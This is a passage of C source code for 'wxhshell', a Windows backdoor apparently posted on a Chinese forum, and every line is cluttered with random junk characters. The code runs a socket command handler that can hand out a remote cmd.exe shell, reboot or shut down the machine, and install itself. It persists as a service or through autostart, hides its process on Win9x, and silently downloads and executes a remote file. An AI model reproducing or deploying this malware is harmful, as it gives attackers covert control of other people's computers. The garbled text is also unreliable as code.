  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z% +$<J  
  } Y e0,0Fpw  
  else { Mo/R+\u+Y  
PRfq_:xy  
    switch(cmd[0]) { .Ys e/oEo  
  &%J{uRp  
  // 帮助 e;i 6C%DB  
  case '?': { XtCIUC{r,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .AN1Yt  
    break; Y9BQLu4F  
  } 8W3zrnc  
  // 安装 5OM #_.p  
  case 'i': { AKk=XAGW  
    if(Install()) eKLvBa-{@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }6Pbjm*  
    else AA\)BNM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e'b*_Ps'  
    break; lxd{T3LU  
    } m .++nF  
  // 卸载 iEn:Hh)  
  case 'r': { ]m_x;5s $  
    if(Uninstall()) %oBP6|e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MlTC?Rp#  
    else k26C=tlkv"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?HG[N7=j  
    break; EPE_2a}  
    } !mv5i%3  
  // 显示 wxhshell 所在路径 QN*|_H@h  
  case 'p': { d==0 @`  
    char svExeFile[MAX_PATH]; )at:Xm<s  
    strcpy(svExeFile,"\n\r"); F{mUxo#T  
      strcat(svExeFile,ExeFile); ;R= n<=Axa  
        send(wsh,svExeFile,strlen(svExeFile),0); re*Zs}(N\  
    break; @ ]u@e4T  
    } ^i@anbH  
  // 重启 S(@kdL  
  case 'b': { = #-zK:4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >5O~SF.  
    if(Boot(REBOOT)) aOvqk ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *VsGa<V  
    else { ,X!)zAmm  
    closesocket(wsh); aiPm.h>  
    ExitThread(0); B}[CU='P*  
    } =!-}q  
    break; ge`GQ>  
    } $WIE`P%  
  // 关机 (IV\s Y  
  case 'd': { NL]_;\ h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K/9Jx(I,qL  
    if(Boot(SHUTDOWN)) Cl '$*h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]QlW{J  
    else { rC@VMe|0  
    closesocket(wsh); pZ8J\4+  
    ExitThread(0); G:*vV#K  
    } OROvy  
    break; $e1.y b%  
    } 9(t(sP_  
  // 获取shell 7R:j^"I@  
  case 's': { ezw*Lo!  
    CmdShell(wsh); LqYyIbsvf  
    closesocket(wsh); Tdh(J",d  
    ExitThread(0); S ,F[74K  
    break; fTXip)n!r  
  } P;"moluE;  
  // 退出 @Ommd{0M  
  case 'x': { # fqrZ9:@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8XJi}YPQ  
    CloseIt(wsh); 1j<uFhi>  
    break; J2}poNmm  
    } ^EiU>   
  // 离开 U!uPf:p2  
  case 'q': { j-d&4,a:c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \^6[^\@[  
    closesocket(wsh); 2|x !~e.  
    WSACleanup(); Hc\C0V<  
    exit(1); UYxn? W.g  
    break; SY|K9$M^  
        } eL~xS: VT  
  } 'IY?=#xr'`  
  } [.4{s  
e1g3a1tnWl  
  // 提示信息 /4O))}TX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WowT!0$  
} $y6 <2w%b  
  } U;/2\Ii  
!p$p 7   
  return; _<RTes  
} PR5N:Bw  
|Uics:cQC  
// shell模块句柄 6=n|Ha  
int CmdShell(SOCKET sock) 0g30nr)  
{ f I=G>[  
STARTUPINFO si;  dwk%!%  
ZeroMemory(&si,sizeof(si)); hZfj$|<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]y.V#,6e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (o*YGYC  
PROCESS_INFORMATION ProcessInfo; 7d R?70Sz  
char cmdline[]="cmd"; d4ecF%R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Nl[&rZ-&  
  return 0; S3/%;=|  
} 1J0gjO)AZ  
/?r A|  
// 自身启动模式 <Q(E {c3"  
int StartFromService(void) Q>D//_TF  
{ 8\68NG6o  
typedef struct H?O5 "4a  
{ 6!>p<p"Ns  
  DWORD ExitStatus; XfE0P(sE  
  DWORD PebBaseAddress; %SB4_ r*<  
  DWORD AffinityMask; @\nQ{\^;  
  DWORD BasePriority; 7SS#V  
  ULONG UniqueProcessId; z=KDkpV  
  ULONG InheritedFromUniqueProcessId; `E1G9BbU  
}   PROCESS_BASIC_INFORMATION; ~bkO8tn  
k 6M D3c  
PROCNTQSIP NtQueryInformationProcess; el`?:dY H  
y>}r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zHA::6OgPN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nHm29{G0  
l6#Y}<tq  
  HANDLE             hProcess; _%R^8FjH*  
  PROCESS_BASIC_INFORMATION pbi; +r'&6Me!  
Xuu&`U~%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); . .5~ x~O  
  if(NULL == hInst ) return 0; Hk;;+'-  
W6T4Zsg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [3bPoAr\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7zCJ3p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2`*w*  
iO?AY  
  if (!NtQueryInformationProcess) return 0; #WZat ?-N  
{!D(3~MI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j7ZxA*  
  if(!hProcess) return 0; _|US`,kfc  
Ik^^8@z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +Kb 7N, "  
xh:I]('R  
  CloseHandle(hProcess); R/x3+_.f  
h#Z[ "BG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {Vj&i.2,  
if(hProcess==NULL) return 0; w[d8#U   
wr"0+J7  
HMODULE hMod; c45 s #6  
char procName[255]; r<fcZ)jt|  
unsigned long cbNeeded; P}~MO)*1  
UH-873AK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rmzzbLTu  
H2%Qu<Kg2  
  CloseHandle(hProcess); *V hEl7  
f~wON>$K  
if(strstr(procName,"services")) return 1; // 以服务启动 %B\x %e ;P  
s1Acl\l-uF  
  return 0; // 注册表启动 HhQ0>  
} j~>{P=_}  
^Zz^h@+  
// 主模块 lS,Jo/T@  
int StartWxhshell(LPSTR lpCmdLine) 2c]"*Pb  
{ wp&G]/4m  
  SOCKET wsl; [-*&ZYp  
BOOL val=TRUE; d^A]]Xg  
  int port=0; T='uqKW\  
  struct sockaddr_in door; 4*qBu}(  
)>{ .t=#  
  if(wscfg.ws_autoins) Install(); te( H6c#0  
}},0#Ap  
port=atoi(lpCmdLine); ?D.+D(  
_M/N_Fm  
if(port<=0) port=wscfg.ws_port; #?w07/~L  
LH2B*8=^2  
  WSADATA data; pM@8T25=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g8uqW1E^  
=oI[E~1<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z(LR!hr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fY9+m}$S$  
  door.sin_family = AF_INET; exJc[G&t(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^%,{R},s  
  door.sin_port = htons(port); YA$YT8iMe  
,5v'hG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =xm7i#1  
closesocket(wsl); U\Vg&"P  
return 1;  j5/pVXO  
} x4_MbUe  
ldUZ\z(*  
  if(listen(wsl,2) == INVALID_SOCKET) { v|(]u3=1_  
closesocket(wsl); nQmHYOF%  
return 1; q~ a FV<Q  
} nSyLt6zn\  
  Wxhshell(wsl); xH\\#4/  
  WSACleanup(); L0"|4=  
0\XWdTj{  
return 0; eZOR{|z  
.4^+q9M  
} _aevaWtEx  
^}Vc||S  
// 以NT服务方式启动 }y6@YfV${  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nDdY~f.B  
{ ~'lT8 n_  
DWORD   status = 0; IOZw[9](+  
  DWORD   specificError = 0xfffffff;  q6F1Rt  
< 8' b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r1< 'l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yF(9=z"?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7JBs7LG  
  serviceStatus.dwWin32ExitCode     = 0; AuQ|CXG-\  
  serviceStatus.dwServiceSpecificExitCode = 0; 4Y?2u  
  serviceStatus.dwCheckPoint       = 0; 5kw  K%  
  serviceStatus.dwWaitHint       = 0; Gw3+TvwU+Q  
QIMd`c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6:G&x<{  
  if (hServiceStatusHandle==0) return; GKIzU^f  
n7bVL#Sq[  
status = GetLastError(); 9JP:wE~y  
  if (status!=NO_ERROR) > f X^NX  
{ K+vD&Z^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y\^zxG*]'  
    serviceStatus.dwCheckPoint       = 0; bK%F_v3'  
    serviceStatus.dwWaitHint       = 0; [<f2h-V$  
    serviceStatus.dwWin32ExitCode     = status; *fc8M(]&d  
    serviceStatus.dwServiceSpecificExitCode = specificError; yZ6WbI8n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AVQcD`V3B  
    return; UCcr>  
  } ,;}   
w{DU<e:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "'[M~Js  
  serviceStatus.dwCheckPoint       = 0; s`=| D'G(=  
  serviceStatus.dwWaitHint       = 0; 9f0`HvHC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y[$UeE"0  
} Bbs1U  
0]7jb_n1  
// 处理NT服务事件,比如:启动、停止 CmBP C jh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^$P_B-C N  
{ :G 5p`;hGo  
switch(fdwControl) K*j OrQf`  
{ o4p5`jOG@  
case SERVICE_CONTROL_STOP: #6\m TL4vg  
  serviceStatus.dwWin32ExitCode = 0; 3g!Z[SZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4A@HR  
  serviceStatus.dwCheckPoint   = 0; .t\J @?Z  
  serviceStatus.dwWaitHint     = 0; u;$qJjS N  
  { ~$6` e:n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .\oW@2,RA9  
  } y`zdI_!7  
  return; e">&B]#}  
case SERVICE_CONTROL_PAUSE: v];YC6shx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _'cB<9P  
  break; 9e`};DE   
case SERVICE_CONTROL_CONTINUE: VQ('ejv}/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J'WzEgCnU  
  break; ,|RKM  
case SERVICE_CONTROL_INTERROGATE: }Y7P2W+4?  
  break; uq]=L  
}; 7fypUQ:y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ltNI+G  
} OSO MFt  
MRz f#o<H  
// 标准应用程序主函数 k^d]EF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -%J9!(  
{ Vyi.:lL _8  
f B<Qs.T  
// 获取操作系统版本 &V+_b$  
OsIsNt=GetOsVer(); <UO[*_,\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g0B-<>E  
tb?TPd-OY  
  // 从命令行安装 @:w^j0+h  
  if(strpbrk(lpCmdLine,"iI")) Install(); SN"Y@y)=  
^/?7hbr  
  // 下载执行文件 AB%i|t  
if(wscfg.ws_downexe) { VTL_I^p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U:~]>B $  
  WinExec(wscfg.ws_filenam,SW_HIDE); pSQX  
} -l}"DP _  
S}Wj.l+F  
if(!OsIsNt) { h(kPf ]0  
// 如果时win9x,隐藏进程并且设置为注册表启动 wclj9&k  
HideProc(); k+[oYd  
StartWxhshell(lpCmdLine); rx| ,DI  
} 4j0;okQWV'  
else 8cZ[Kl%  
  if(StartFromService()) g \S6>LG!  
  // 以服务方式启动 lGahwn:  
  StartServiceCtrlDispatcher(DispatchTable); y`m0/SOT  
else Y*9vR~#H  
  // 普通方式启动 S@pdCH, n  
  StartWxhshell(lpCmdLine); c[,Rh f  
O D5qPovsd  
return 0; zK~_e\m  
}
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只看该作者 1 发表于: 2006-10-10
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